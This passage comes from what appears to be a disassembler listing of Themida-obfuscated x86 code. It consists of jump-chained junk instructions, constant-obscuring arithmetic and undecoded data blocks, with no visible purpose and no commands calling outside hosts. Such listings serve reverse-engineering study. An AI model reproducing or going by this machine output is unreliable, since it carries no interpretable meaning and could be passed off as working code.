--------------------------------------------------------------------------- db 0F7h dd 0C9D05D8h, 0C7016EC5h, 14502E9h db 0 ; --------------------------------------------------------------------------- loc_598A4D: ; CODE XREF: Themida_:0059E19Ej ; Themida_:005ACCFCj add cl, 1Eh neg cl jnp loc_5AF088 sub cl, 31h add cl, 64h sub cl, ah sub cl, 64h push ecx push 3123h mov [esp], ecx mov ecx, 73EB3030h jmp loc_5ACED5 ; --------------------------------------------------------------------------- dw 0E581h dd 1A31413Ch, 4D86E581h, 0ED815DE0h, 10F5C4B2h, 1282DE9h dd 58C63100h, 2414F756h, 0EFBB535Eh, 0E91F1F74h, 91D8h dd 81665D66h, 2902246Ch, 7401660Ah, 81660224h, 29022444h dd 6C81660Ah, 1FAA0224h, 246C8166h, 663D9602h, 0E924348Bh dd 0B1E4h ; --------------------------------------------------------------------------- loc_598ACC: ; CODE XREF: Themida_:0059EC89j pop edx jmp loc_5AB672 ; --------------------------------------------------------------------------- dw 1487h dd 0E6815C24h, 3DBD760Ch, 5DCFCE81h, 0C68122A6h, 68A97EAAh dd 4EC81h, 4890000h, 31A1B824h, 0D40516B8h, 298C97CAh dd 515658C6h, 7367F1B9h, 0B9D1E92Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_598B0A: ; CODE XREF: Themida_:005A1144j mov eax, 155C1E58h shr eax, 7 sub eax, 3EC401DAh shl eax, 7 sub eax, 8021B9E5h add ebx, eax jmp loc_5AEE2D ; --------------------------------------------------------------------------- loc_598B26: ; CODE XREF: Themida_:0059CC87j push esi mov esi, 74F60100h add esi, 9422A279h sub ebp, esi mov esi, [esp] jmp loc_59B00A ; --------------------------------------------------------------------------- loc_598B3C: ; CODE XREF: Themida_:0059A30Bj pop ebp jmp loc_59BC30 ; --------------------------------------------------------------------------- loc_598B42: ; CODE XREF: Themida_:0059C992j pop ebp pop dword ptr [esp] pop esp jmp loc_5A17FB ; --------------------------------------------------------------------------- loc_598B4C: ; CODE XREF: Themida_:005AEAF8j push 2A47h mov [esp], edi sub esp, 4 mov [esp], eax mov eax, 4 push eax pop edi jmp loc_59A7AB ; --------------------------------------------------------------------------- dw 2268h dd 8900001Bh, 468243Ch, 8B000000h, 0C481243Ch, 4, 4247C01h dd 8B2434FFh, 0C483243Ch, 0E1895104h, 364DE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_598B92: ; CODE XREF: Themida_:005AB065j push edx mov dh, 6Bh inc dh jle loc_5A268E xor dh, 97h push eax push ebx mov bl, 2Ah xor bl, 6 mov al, bl pop ebx sub dh, al pop eax shl dh, 6 push 586h mov [esp], eax mov ah, 0B0h dec ah not ah not ah jmp loc_5AC530 ; --------------------------------------------------------------------------- loc_598BC5: ; CODE XREF: Themida_:0059DD9Bj ; Themida_:005A0E78j not edx xor edx, 0D56EC1BDh and ebp, edx pop edx push ecx mov ecx, 7344092Ah and ebp, ecx pop ecx xor ebp, 6144000Ch add ecx, ebp mov ebp, [esp] jmp loc_5AD335 ; --------------------------------------------------------------------------- loc_598BE9: ; CODE XREF: Themida_:00598ED6j ; Themida_:005A74D5j push 3B7Fh mov [esp], ebp jmp loc_59BD73 ; --------------------------------------------------------------------------- loc_598BF6: ; CODE XREF: Themida_:0059D4A2j push edi mov edi, 4 push ebx mov ebx, edi mov edx, ebx pop ebx jmp loc_5AD627 ; --------------------------------------------------------------------------- loc_598C07: ; CODE XREF: Themida_:005A16EFj not ebx jmp loc_5A7949 ; --------------------------------------------------------------------------- dw 0C33h dd 240C3124h, 109A4E9h db 0 ; --------------------------------------------------------------------------- loc_598C19: ; CODE XREF: Themida_:005ACD04j jmp loc_5A9C9B ; --------------------------------------------------------------------------- loc_598C1E: ; CODE XREF: Themida_:005AA5BFj neg ecx add ecx, 14BC0609h shl ecx, 5 add ecx, 0D3825416h jmp loc_5994FF ; --------------------------------------------------------------------------- loc_598C34: ; CODE XREF: Themida_:005A03DEj shl al, 6 js loc_59F86B jmp loc_5A04D3 ; --------------------------------------------------------------------------- loc_598C42: ; CODE XREF: Themida_:005A35A3j push 1C2Dh mov [esp], esi push esp jmp loc_598846 ; --------------------------------------------------------------------------- loc_598C50: ; CODE XREF: Themida_:00598EBDj push ebx jmp loc_5A8D22 ; --------------------------------------------------------------------------- dw 0B9BEh dd 816EB55Dh, 2E74D5E6h, 6EEE8137h, 0F751E422h, 1BE681DEh dd 81336401h, 0DBFEE9C6h, 5EF001DCh, 4EC81h, 4890000h dd 2474FF24h, 48F5804h, 24248B24h, 240CFF66h, 0F6F6E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598C96: ; CODE XREF: Themida_:005A3E47j mov al, 5Ah not al jmp loc_59F136 ; --------------------------------------------------------------------------- loc_598C9F: ; CODE XREF: Themida_:005A5575j mov esp, [esp] xor ebx, 3B7C1E7Ah js loc_598F0E jmp loc_5A5393 ; --------------------------------------------------------------------------- db 0Fh dd 0D1E48Ah, 0FF515100h, 0E9042474h, 1E1Eh ; --------------------------------------------------------------------------- loc_598CC4: ; CODE XREF: Themida_:005A6B11j jl loc_5A7DF9 sub ecx, 0E743D3C1h mov edi, ecx pop ecx sub ebp, edi mov edi, [esp] pop edi loc_598CD9: ; CODE XREF: Themida_:005A13C5j add esp, 4 push dword ptr [edi+eax*4] mov eax, [esp] push eax mov eax, esp jmp loc_59D48D ; --------------------------------------------------------------------------- db 1, 0EFh, 8Bh dd 0C483242Ch, 2C78104h, 87000000h, 0D35C243Ch, 0E99C2404h dd 0A9EAh ; --------------------------------------------------------------------------- loc_598D08: ; CODE XREF: Themida_:005A1486j sub esp, 4 mov [esp], edi mov edi, 553E18C3h jmp loc_59BF32 ; --------------------------------------------------------------------------- dd 52505658h, 420AE3BAh, 67BE564Bh, 3116716Ch, 0D0895EF2h dd 58C6895Ah, 15EF201h, 84EA81FAh, 815D3366h, 643691EAh dd 0BEA8121h, 5F0C9604h, 8B241487h, 4B682424h, 0E9000076h dd 1337Fh ; --------------------------------------------------------------------------- loc_598D58: ; CODE XREF: Themida_:0059CC2Fj or edx, ebp mov ebp, [esp] add esp, 4 xor edx, 67FF3EF2h jmp loc_59AD80 ; --------------------------------------------------------------------------- loc_598D6B: ; CODE XREF: Themida_:0059E3A9j ; Themida_:005AA495j push esi mov esi, 215D4521h shl esi, 8 inc esi js loc_599A02 jmp loc_5A50B4 ; --------------------------------------------------------------------------- dd 0F6A9F781h, 0D7F7ACE5h, 24EF8147h, 1934B78h, 87585FFEh dd 835C2434h, 82E904C4h, 0BE000094h, 16292576h, 6B33EE81h dd 8E0F2858h, 28A7h, 0D34FE9h, 1EF82500h, 34871039h, 4875C24h dd 24248B24h, 0FF2434FFh, 34FF2434h, 2434FF24h, 0E3B4E959h dd 57550000h, 0D42209BFh, 5FFD8907h, 5224BE56h, 0A3E91218h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_598DEB: ; CODE XREF: Themida_:005A921Ej or cl, 0F6h jb loc_5AB8C4 jmp loc_59AD58 ; --------------------------------------------------------------------------- loc_598DF9: ; CODE XREF: Themida_:0059904Cj sub esp, 4 mov [esp], eax push 22B0328Bh pop eax not eax and eax, 2BB3769Ah jl loc_59CDBF jmp loc_59C823 ; --------------------------------------------------------------------------- loc_598E1A: ; CODE XREF: Themida_:00599E94j pop eax xor ebx, 50F5419Dh add ebx, 12282C6Ch sub eax, ebx pop ebx jmp loc_5A302C ; --------------------------------------------------------------------------- db 87h dd 565C240Ch, 0C6815E54h, 4, 3304C683h, 0B4E92434h, 5100011Eh dd 8C374DB9h, 59C82107h, 0AC48F50Dh, 0E9D8F71Eh, 12674h ; --------------------------------------------------------------------------- loc_598E5C: ; CODE XREF: Themida_:0059CC57j jnp loc_59B6F5 add bh, 0B3h shr bh, 1 shl bh, 8 and bh, 1Ah add bh, 0F6h push eax mov ah, bh mov dl, ah pop eax mov ebx, [esp] jmp loc_5AC0BE ; --------------------------------------------------------------------------- loc_598E7E: ; CODE XREF: Themida_:005A5D99j push eax push esi jmp loc_5A230B ; --------------------------------------------------------------------------- loc_598E85: ; CODE XREF: Themida_:0059A684j add ebx, 5AA75DF3h jmp loc_5AC6E5 ; --------------------------------------------------------------------------- dd 2B8h, 24C38100h, 81173C30h, 5E3068EBh, 0E9C30131h, 15830h ; --------------------------------------------------------------------------- loc_598EA8: ; CODE XREF: Themida_:005A8528j add ebp, ecx jmp loc_5A5B93 ; --------------------------------------------------------------------------- loc_598EAF: ; CODE XREF: Themida_:005A1327j xchg edx, [esp] mov esp, [esp] jmp loc_5ACD78 ; --------------------------------------------------------------------------- loc_598EBA: ; CODE XREF: Themida_:005AE5D2j mov ebx, [esp] jmp loc_598C50 ; --------------------------------------------------------------------------- loc_598EC2: ; CODE XREF: Themida_:0059AD7Bj ; Themida_:005A77EFj mov ebx, 0 add ebx, eax jmp loc_5A5D33 ; --------------------------------------------------------------------------- loc_598ECE: ; CODE XREF: Themida_:0059B2F4j add esp, 4 or eax, eax jz loc_598BE9 push 6F7Dh jmp loc_599B97 ; --------------------------------------------------------------------------- dw 4401h dd 6C810424h, 145C0424h, 0E95801E7h, 0B6D9h ; --------------------------------------------------------------------------- loc_598EF8: ; CODE XREF: Themida_:005A5B80j xor ecx, 626A0381h jmp loc_5AB1C5 ; --------------------------------------------------------------------------- db 53h dd 353FC5BBh, 296E94Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_598F0E: ; CODE XREF: Themida_:00598CA8j jmp loc_59F7FD ; --------------------------------------------------------------------------- loc_598F13: ; CODE XREF: Themida_:005A4F93j jp loc_5A67AB jmp loc_59A689 ; --------------------------------------------------------------------------- dw 0FFBFh db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_598F23: ; CODE XREF: Themida_:005AAAD2j mov ebx, 29AB6BA2h mov edi, 0FA02B791h add edi, ebx mov ebx, [esp] add esp, 4 sub edi, 4AEB68C8h jns loc_5A671E shl edi, 6 xor edi, 7155B059h xor eax, edi mov edi, [esp] add esp, 4 shr eax, 6 push ebx mov ebx, 94711259h sub eax, 38285947h jmp loc_5AEBCB ; --------------------------------------------------------------------------- loc_598F68: ; CODE XREF: Themida_:0059A2CFj add bl, 3Fh push ecx jmp loc_5A120C ; --------------------------------------------------------------------------- loc_598F71: ; CODE XREF: Themida_:loc_5988F7j sub eax, 0A6E9BDFAh mov ebx, eax pop eax push ebp jmp loc_59AD22 ; --------------------------------------------------------------------------- loc_598F7F: ; CODE XREF: Themida_:00599488j add esp, 4 push esi mov esi, 19A0603Fh sub ebp, esi pop esi pop ebx sub ebp, 0FFFFFFFFh push ecx jmp loc_59C1A5 ; --------------------------------------------------------------------------- loc_598F9B: ; CODE XREF: Themida_:005A022Cj pop dword ptr [esp] jmp loc_5A5EA8 ; --------------------------------------------------------------------------- loc_598FA3: ; CODE XREF: Themida_:loc_5A7D15j add edx, 481625D6h xor eax, edx push dword ptr [esp] pop edx push esi push esp pop esi jmp loc_5AA70F ; --------------------------------------------------------------------------- loc_598FB7: ; CODE XREF: Themida_:0059D174j sub edx, 18B41645h sub edx, ebx add edx, 18B41645h mov ebx, [esp] jmp loc_59B757 ; --------------------------------------------------------------------------- loc_598FCD: ; CODE XREF: Themida_:005A7A3Fj pop esp push eax push esp pop eax add eax, 4 push ebp push 4E7Ah mov [esp], edi jmp loc_5ADFEA ; --------------------------------------------------------------------------- loc_598FE4: ; CODE XREF: Themida_:005AC5E1j push ecx jmp loc_5AE630 ; --------------------------------------------------------------------------- loc_598FEA: ; CODE XREF: Themida_:0059ED27j shl ebx, 7 js loc_59A35C jmp loc_59C03D ; --------------------------------------------------------------------------- loc_598FF8: ; CODE XREF: Themida_:005A9E84j add esp, 4 add ebp, 5A26685Ch add ebp, edx jmp loc_599309 ; --------------------------------------------------------------------------- loc_59900B: ; CODE XREF: Themida_:0059B7CDj sub esp, 4 jmp loc_5A7DA2 ; --------------------------------------------------------------------------- loc_599016: ; CODE XREF: Themida_:0059FB3Ej add dword ptr [esp], 4 mov ebx, [esp] push 2587h mov [esp], ecx jmp loc_59A633 ; --------------------------------------------------------------------------- loc_59902D: ; CODE XREF: Themida_:005AC9F7j pop ecx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ecx, 23697840h push 7F77h mov [esp], ebp jmp loc_598DF9 ; --------------------------------------------------------------------------- loc_599051: ; CODE XREF: Themida_:0059F18Fj push 16DD70B0h pop edx sub edx, 6D28659Ch xor edx, 5B8646DCh inc edx sub edx, 0DA182DBCh mov edi, edx push dword ptr [esp] jmp loc_5A973A ; --------------------------------------------------------------------------- dd 9D1C77FFh, 1CD35966h, 9E99C24h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599083: ; CODE XREF: Themida_:loc_59B054j jmp loc_59AB9F ; --------------------------------------------------------------------------- loc_599088: ; CODE XREF: Themida_:005AF3DFj xor ebx, edi jmp loc_5A0256 ; --------------------------------------------------------------------------- aSsaf db '\SιF',0 align 2 dw 0C89h dd 1E026824h, 5E91596h, 5C000112h, 16484E9h db 0 ; --------------------------------------------------------------------------- loc_5990A9: ; CODE XREF: Themida_:005A5466j ; Themida_:005A6925j push 5778h mov [esp], ebx push 7368h mov [esp], esi mov esi, 4AC806AFh xor [esp+4], esi mov esi, [esp] add esp, 4 jmp loc_5A6FD2 ; --------------------------------------------------------------------------- loc_5990CD: ; CODE XREF: Themida_:0059C413j push 1768h mov [esp], ecx jmp loc_5A5435 ; --------------------------------------------------------------------------- loc_5990DA: ; CODE XREF: Themida_:0059B6F0j mov [esp], ebp push 3B977D13h mov ebp, [esp] jmp loc_59B718 ; --------------------------------------------------------------------------- dw 77FFh dd 677EE91Ch, 0C5810000h, 4, 8904EC83h, 7DBE2434h, 0C10ED754h dd 0EEC108EEh, 0B167E908h, 8040000h, 6158E9h db 0 ; --------------------------------------------------------------------------- loc_599115: ; CODE XREF: Themida_:005A8A0Fj mov edi, [esp] add esp, 4 add ebp, 0A43FF4A5h jmp loc_5ABBAC ; --------------------------------------------------------------------------- db 53h, 0FFh, 74h dd 8F5B0424h, 835C2404h, 48704C0h, 0EC815C24h, 4, 54242C89h dd 4BB535Dh, 1000000h, 0C53E9DDh db 1, 0 ; --------------------------------------------------------------------------- loc_599152: ; CODE XREF: Themida_:005A80CAj jnp loc_59C93F jmp loc_5AE7E3 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h db 0C6h, 0C1h, 0D1h ; --------------------------------------------------------------------------- loc_599163: ; CODE XREF: Themida_:0059E0CDj mov ebp, ebx pop ebx not ebp shl ebp, 6 jmp loc_59E493 ; --------------------------------------------------------------------------- loc_599170: ; CODE XREF: Themida_:0059B77Bj add dword ptr [esp+4], 2AAD4243h add dword ptr [esp+4], 55F663FAh jmp loc_59AD2C ; --------------------------------------------------------------------------- db 1, 0F1h, 5Eh dd 12D0CE9h db 0 ; --------------------------------------------------------------------------- loc_59918D: ; CODE XREF: Themida_:005A3189j xor edi, 4EF0A5Fh jno loc_5ABDB9 jmp loc_5ADE27 ; --------------------------------------------------------------------------- dw 74FFh dd 5B5A0424h, 0CBE9D931h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5991AB: ; CODE XREF: Themida_:005AF116j xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push 4Ah mov [esp], ecx push edx push 754Dh push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edx add edx, 4 jmp loc_5A74DA ; --------------------------------------------------------------------------- loc_5991D7: ; CODE XREF: Themida_:005A7D79j sub esp, 4 mov [esp], ebx mov ebx, 5D8B7937h xor esi, ebx pop ebx jmp loc_59BE8C ; --------------------------------------------------------------------------- db 81h, 6Ch, 24h dd 0AB55C104h, 245C0102h, 4305E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5991FE: ; CODE XREF: Themida_:005A41F3j add esi, 0DF8AB5EDh mov eax, esi pop esi xor ecx, eax mov eax, [esp] add esp, 4 push dword ptr [esp] pop edi jmp loc_5ACE28 ; --------------------------------------------------------------------------- loc_59921B: ; CODE XREF: Themida_:0059E022j sub cl, 43h pop eax push edx mov dh, 7Bh or dh, 74h jmp loc_5A4726 ; --------------------------------------------------------------------------- loc_59922A: ; CODE XREF: Themida_:005A8FD9j mov [esp], esi push esp pop esi push edi push 70C748C1h jmp loc_59A3E1 ; --------------------------------------------------------------------------- loc_59923A: ; CODE XREF: Themida_:005A91CFj push ebp mov ebp, 4E583F71h inc ebp sub ebp, 1ED87978h jmp loc_59C53F ; --------------------------------------------------------------------------- loc_59924C: ; CODE XREF: Themida_:005A6FFEj xor edx, 0F2336367h jmp loc_59D416 ; --------------------------------------------------------------------------- loc_599257: ; CODE XREF: Themida_:00599B6Aj push edx mov dh, 5Bh xor cl, dh jmp loc_5A5D82 ; --------------------------------------------------------------------------- loc_599261: ; CODE XREF: Themida_:0059CCACj pop esp push ebx mov ebx, 40h sub ebx, 6D660E30h add ebx, edi add ebx, 6D660E30h jmp loc_5A062D ; --------------------------------------------------------------------------- loc_59927B: ; CODE XREF: Themida_:005A9ED9j mov ebp, 4 push eax mov eax, 461A4895h add [esp+8], eax pop eax add [esp+4], ebp jmp loc_5A33AF ; --------------------------------------------------------------------------- loc_599294: ; CODE XREF: Themida_:005A8082j add cl, 0D7h jmp loc_5A4634 ; --------------------------------------------------------------------------- loc_59929C: ; CODE XREF: Themida_:00598573j mov esi, 490C55EEh sub [esp+0Ch], esi pop esi jmp loc_59C57A ; --------------------------------------------------------------------------- loc_5992AB: ; CODE XREF: Themida_:005AAD04j jmp loc_5A929D ; --------------------------------------------------------------------------- loc_5992B0: ; CODE XREF: Themida_:005A6D19j push 77AAh mov [esp], ecx push eax mov eax, esp push esi push eax mov eax, 9B2489Eh mov esi, 917DBE9h sub esi, 0F243AEFh add esi, eax add esi, 0F243AEFh pop eax shr esi, 1 inc esi sub esi, 9651240h push ecx mov ecx, 34942F40h add eax, ecx pop ecx add eax, esi push edi mov edi, 49680F3Bh shr edi, 6 shl edi, 8 add edi, 5B7218Ah sub edi, 1A3A3816h neg edi jmp loc_5AA18A ; --------------------------------------------------------------------------- loc_599309: ; CODE XREF: Themida_:00599006j sub ebp, 5A26685Ch mov edx, [esp] add esp, 4 push eax mov eax, 0F546BECh add eax, 3C292799h add eax, 252977B1h jmp loc_59C51C ; --------------------------------------------------------------------------- loc_59932D: ; CODE XREF: Themida_:005A2C4Cj sub al, 1Bh jmp loc_5A15EC ; --------------------------------------------------------------------------- loc_599334: ; CODE XREF: Themida_:loc_5AF058j xor esi, 22EC2184h mov [edx+30h], esi mov esi, [esp] add esp, 4 jmp loc_5ACD15 ; --------------------------------------------------------------------------- loc_59934B: ; CODE XREF: Themida_:005A889Ej pop ebp add esp, 4 add esp, 4 push 0DCh jmp loc_5A540B ; --------------------------------------------------------------------------- loc_59935F: ; CODE XREF: Themida_:005A0556j xor al, cl mov cx, [esp] push edx push esp pop edx push 6C5Bh mov [esp], edi mov edi, 35F25B1Bh and edi, 15963B18h shr edi, 6 jmp loc_59B5E2 ; --------------------------------------------------------------------------- loc_599383: ; CODE XREF: Themida_:005A1B8Fj add edi, 4 push ebx mov ebx, 4 sub edi, 7EAD62D8h add edi, ebx add edi, 7EAD62D8h pop ebx sub esp, 4 mov [esp], edi jmp loc_59A625 ; --------------------------------------------------------------------------- loc_5993AC: ; CODE XREF: Themida_:005A6646j dec ecx jl loc_59AA63 jmp loc_5A3225 ; --------------------------------------------------------------------------- loc_5993B8: ; CODE XREF: Themida_:005AABE3j pop esp jmp loc_5A3E77 ; --------------------------------------------------------------------------- dw 1489h dd 555A5424h, 4BDh, 0F696E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5993CE: ; CODE XREF: Themida_:005A32E5j push dword ptr [esp] pop edi push edi mov edi, esp jmp loc_5A3966 ; --------------------------------------------------------------------------- loc_5993DA: ; CODE XREF: Themida_:0059C184j ; Themida_:005A9CB9j add eax, 0E8C9DF37h mov ebp, eax pop eax shr ebp, 5 shr ebp, 5 xor ebp, 593CD059h and esi, ebp mov ebp, [esp] add esp, 4 or esi, 44696261h jbe loc_5AEC18 jmp loc_5AE30F ; --------------------------------------------------------------------------- loc_599407: ; CODE XREF: Themida_:loc_5AE2AEj jmp loc_5A6223 ; --------------------------------------------------------------------------- loc_59940C: ; CODE XREF: Themida_:005A57B6j ; Themida_:loc_5ACE09j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov eax, [esp] add esp, 4 push ecx push 0A4h mov [esp], eax mov ah, 0AAh mov cl, ah mov eax, [esp] add esp, 4 sub cl, 83h sub esp, 2 mov [esp], bx mov bh, 23h jmp loc_59F46F ; --------------------------------------------------------------------------- loc_599449: ; CODE XREF: Themida_:005A6050j pop eax jmp loc_5A0DBE ; --------------------------------------------------------------------------- db 80h dd 830FB1C7h, 6654h, 44E9DFF6h, 10000F3h, 2D58E9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_599466: ; CODE XREF: Themida_:loc_59B4A0j push esi mov esi, 45594DF4h push edi jmp loc_5A0A2F ; --------------------------------------------------------------------------- dw 8950h dd 405E0h, 0BA520000h, 3ACE3C18h, 0A801E9h db 0 ; --------------------------------------------------------------------------- loc_599485: ; CODE XREF: Themida_:0059E732j mov ebp, [esp] jmp loc_598F7F ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 4832424h, 48F0424h dd 4B85024h, 81000000h, 5C042444h, 0E901E714h, 0FFFFFA2Ah ; --------------------------------------------------------------------------- loc_5994BC: ; CODE XREF: Themida_:005ABC78j push dword ptr [esp] mov eax, [esp] add esp, 4 push 437h mov [esp], esi jmp loc_5AF392 ; --------------------------------------------------------------------------- loc_5994D5: ; CODE XREF: Themida_:005AC5A8j mov [esp], ebx mov ebx, 3CD67B22h jmp loc_59EC71 ; --------------------------------------------------------------------------- loc_5994E2: ; CODE XREF: Themida_:005A4232j xor dh, ch pop ecx add dh, 0C8h push eax mov al, 0F1h push ax not byte ptr [esp] pop ax not al inc al sub al, 0CBh xor dh, al jmp loc_599DD2 ; --------------------------------------------------------------------------- loc_5994FF: ; CODE XREF: Themida_:00598C2Fj add eax, ecx pop ecx mov esi, eax pop eax jmp loc_5AF587 ; --------------------------------------------------------------------------- loc_59950A: ; CODE XREF: Themida_:005A0D49j push ecx mov ch, 0C3h jmp loc_5A007C ; --------------------------------------------------------------------------- loc_599512: ; CODE XREF: Themida_:005A1A21j mov ecx, 68479F6Ch jmp loc_5A83B5 ; --------------------------------------------------------------------------- dd 81E28952h, 4C2h, 5B8CE900h db 1, 0 ; --------------------------------------------------------------------------- loc_59952A: ; CODE XREF: Themida_:005AA656j push dword ptr [esp] pop ebx jmp loc_59FAE1 ; --------------------------------------------------------------------------- loc_599533: ; CODE XREF: Themida_:0059C697j ; Themida_:005A3BCDj add al, dh pop edx neg al ja loc_5A0D40 sub esp, 4 mov [esp], ebx jmp loc_5A391C ; --------------------------------------------------------------------------- loc_59954C: ; CODE XREF: Themida_:005A6889j mov [esp], eax push edi jmp loc_5AB03D ; --------------------------------------------------------------------------- loc_599555: ; CODE XREF: Themida_:005A68A0j add dword ptr [esp+8], 490C55EEh jmp loc_59856E ; --------------------------------------------------------------------------- dw 0D501h dd 0B0ED815Ah, 11EDA5Dh, 0B0C581F5h, 811EDA5Dh, 5D7C84EDh dd 2C875E5Eh, 24248B24h, 1261EE9h db 0 ; --------------------------------------------------------------------------- loc_599585: ; CODE XREF: Themida_:0059E183j sub cl, 38h jg loc_5AB063 or cl, 9Ah jg loc_5A055B shl cl, 2 jmp loc_5A9B0F ; --------------------------------------------------------------------------- loc_59959F: ; CODE XREF: Themida_:005A0A6Cj add edx, 4 push ebp push edi jmp loc_5AD3A7 ; --------------------------------------------------------------------------- loc_5995AC: ; CODE XREF: Themida_:005A4AF6j add [esp+8], esi sub dword ptr [esp+8], 37380686h pop esi jmp loc_5A2C51 ; --------------------------------------------------------------------------- loc_5995BE: ; CODE XREF: Themida_:005A18F8j xor [esp], eax jmp loc_5AD748 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 24048904h, 2909E954h db 1, 0 ; --------------------------------------------------------------------------- loc_5995D6: ; CODE XREF: Themida_:005A1F86j ; Themida_:005A6268j not dword ptr [esp] pop eax jmp loc_5A11A7 ; --------------------------------------------------------------------------- loc_5995DF: ; CODE XREF: Themida_:005A37D3j sub ecx, 764619EDh sub ecx, 17BBC00Bh add esi, ecx pop ecx jmp loc_5996EE ; --------------------------------------------------------------------------- loc_5995F3: ; CODE XREF: Themida_:005A1FB8j jns loc_5AD094 shr ecx, 6 jnp loc_5A08C7 jmp loc_5AD7E7 ; --------------------------------------------------------------------------- loc_599607: ; CODE XREF: Themida_:005A12E8j mov eax, edi jmp loc_5A3850 ; --------------------------------------------------------------------------- loc_59960E: ; CODE XREF: Themida_:005A61FDj mov ecx, 59158CAh inc ecx shr ecx, 6 jmp loc_5A72B0 ; --------------------------------------------------------------------------- dd 164B68h, 24248900h, 4240483h, 83240C8Bh, 1C8904ECh dd 1C8B5424h, 4C48324h, 0E688E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59963E: ; CODE XREF: Themida_:005AB4CBj push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_5A948C ; --------------------------------------------------------------------------- loc_59964F: ; CODE XREF: Themida_:0059EEE0j push 514Fh mov [esp], eax push esp jmp loc_5A1EB4 ; --------------------------------------------------------------------------- db 0ACh, 30h, 0D8h dd 4EC81h, 14890000h, 4EFB224h, 0EB686650h, 0F35CE97Eh dd 0C2800000h, 0E950662Eh, 1596h ; --------------------------------------------------------------------------- loc_599680: ; CODE XREF: Themida_:0059868Aj push esi push 5C530B3Ah pop esi dec esi jle loc_59F662 shr esi, 7 jmp loc_5A0B73 ; --------------------------------------------------------------------------- dd offset dword_577994+6D4h dw 8900h dd 9FB9240Ch, 313B8A4Ah, 0B95159C8h, 738252B4h, 4253E9h db 0 ; --------------------------------------------------------------------------- loc_5996B1: ; CODE XREF: Themida_:005A2D14j sub edx, 0BC0F3517h sub eax, edx jmp loc_5AC78D ; --------------------------------------------------------------------------- dw 9DB9h dd 811DA014h, 7C1B44C9h, 0AB8F0F6Dh, 0C100012Fh, 840F02E1h dd 0E68Dh db 88h, 0C6h, 5Ah ; --------------------------------------------------------------------------- loc_5996DB: ; CODE XREF: Themida_:005AB24Ej sub bl, 13h push edx push ebx push eax mov ah, 0EDh and ah, 0B9h sub ah, 1Ah jmp loc_5A4BA2 ; --------------------------------------------------------------------------- loc_5996EE: ; CODE XREF: Themida_:005995EEj add edi, esi mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_59B42A ; --------------------------------------------------------------------------- loc_5996FE: ; CODE XREF: Themida_:005ABEDAj sub esp, 4 mov [esp], ebp mov ebp, 0B484921Eh add edx, ebp pop ebp sub ebp, edx pop edx sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_5A571E ; --------------------------------------------------------------------------- loc_599725: ; CODE XREF: Themida_:005ACC56j pop edi push edx mov edx, 4 add edi, edx pop edx add edi, 4 xchg edi, [esp] pop esp sub eax, ebx add eax, 65DA33CEh mov ebx, [esp] add esp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx push 5A111299h mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_5A9D6A ; --------------------------------------------------------------------------- loc_599776: ; CODE XREF: Themida_:0059BAF4j mov edi, 4 add ebx, edi pop edi add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A9F0F ; --------------------------------------------------------------------------- loc_59978D: ; CODE XREF: Themida_:0059FAA7j sub esp, 4 mov [esp], ebp mov ebp, 545EC798h xor edi, ebp jmp loc_5AA768 ; --------------------------------------------------------------------------- dw 0DDF7h aEsw db 'EιwΆ',0 align 2 dw 60B9h dd 8139437Bh, 0CE48FFC9h, 7E1C177h, 0E907E1C1h, 14C50h ; --------------------------------------------------------------------------- loc_5997C0: ; CODE XREF: Themida_:0059A090j push eax jmp loc_5A5B47 ; --------------------------------------------------------------------------- loc_5997C6: ; CODE XREF: Themida_:0059E559j add edi, eax pop eax push 2DDh mov [esp], edx push ebp jmp loc_5A9028 ; --------------------------------------------------------------------------- loc_5997D7: ; CODE XREF: Themida_:005A6653j not ecx xor ecx, 0DD70576Ah sub esp, 4 mov [esp], eax mov eax, ecx mov edi, eax pop eax mov ecx, [esp] push eax jmp loc_5AA57D ; --------------------------------------------------------------------------- loc_5997F6: ; CODE XREF: Themida_:005A5D7Dj ; Themida_:005A6C9Dj add edi, 2F456041h add edi, ebx sub edi, 2F456041h sub edi, 0F091B94h add edi, 21587F26h jmp loc_5A7B88 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4835Dh, 8CCE8166h, 0EEC16668h, 0D6F76608h, 40EE8166h dd 0DEF76676h, 8579E9h db 0 ; --------------------------------------------------------------------------- loc_599835: ; CODE XREF: Themida_:005AA934j push 0B8Ah jmp loc_5AC2F1 ; --------------------------------------------------------------------------- loc_59983F: ; CODE XREF: Themida_:005A1849j sub edx, 17810C2Fh mov ecx, [esp] add esp, 4 add edx, eax push 0D4h mov [esp], ecx jmp loc_5AF54D ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 1AC8E9h db 0 ; --------------------------------------------------------------------------- loc_599865: ; CODE XREF: Themida_:005A4866j push 3C35045Eh pop esi push ecx mov ecx, 359F7AAFh dec ecx dec ecx xor ecx, 7E507C10h sub ecx, 3581713Dh jmp loc_5A7DAF ; --------------------------------------------------------------------------- loc_599884: ; CODE XREF: Themida_:005A82C8j push ebx mov ebx, 0F12C8483h add edx, 